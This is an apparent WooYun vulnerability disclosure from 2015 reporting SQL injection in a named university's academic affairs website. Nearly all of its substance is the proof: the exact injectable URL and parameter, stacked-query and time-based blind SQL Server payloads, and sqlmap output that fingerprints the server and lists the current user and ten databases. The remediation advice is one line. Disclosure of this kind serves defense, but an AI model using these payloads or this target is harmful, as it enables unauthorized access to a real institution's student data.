漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-090407
漏洞标题：某工业大学教务系统信息网SQL注入
相关厂商：CCERT教育网应急响应组
漏洞作者： YuShen
提交时间：2015-01-07 13:11
修复时间：2015-01-12 13:12
公开时间：2015-01-12 13:12
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：10
漏洞状态：已交由第三方合作机构(CCERT教育网应急响应组)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-01-07： 细节已通知厂商并且等待厂商处理中
2015-01-12： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
注入
详细说明：
注入！
漏洞证明：
注入点:http://jxxx.ncut.edu.cn/notice.asp?lsh=1324
Place: GET
Parameter: lsh
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: lsh=1324; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: lsh=1324 WAITFOR DELAY '0:0:5'--
---
[23:01:25] [INFO] testing Microsoft SQL Server
[23:01:25] [WARNING] it is very important not to stress the network adapter duri
ng usage of time-based payloads to prevent potential errors
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option
'--time-sec')? [Y/n] Y
[23:01:30] [INFO] confirming Microsoft SQL Server
[23:01:37] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0
back-end DBMS: Microsoft SQL Server 2000
[23:01:37] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 14 times
[23:01:37] [INFO] fetched data logged to text files under 'C:\Documents and Sett
ings\Administrator\.sqlmap\output\jxxx.ncut.edu.cn'
current user: 'student79'
current database: 'JIAOWUSYSTEM'
available databases [10]:
[*] articles
[*] bbs
[*] chat
[*] JIAOWUSYSTEM
[*] master
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] tempdb
修复方案：
过滤参数！
版权声明：转载请注明来源 YuShen@乌云
漏洞回应
厂商回应：
危害等级：无影响厂商忽略
忽略时间：2015-01-12 13:12
厂商回复：
最新状态：
暂无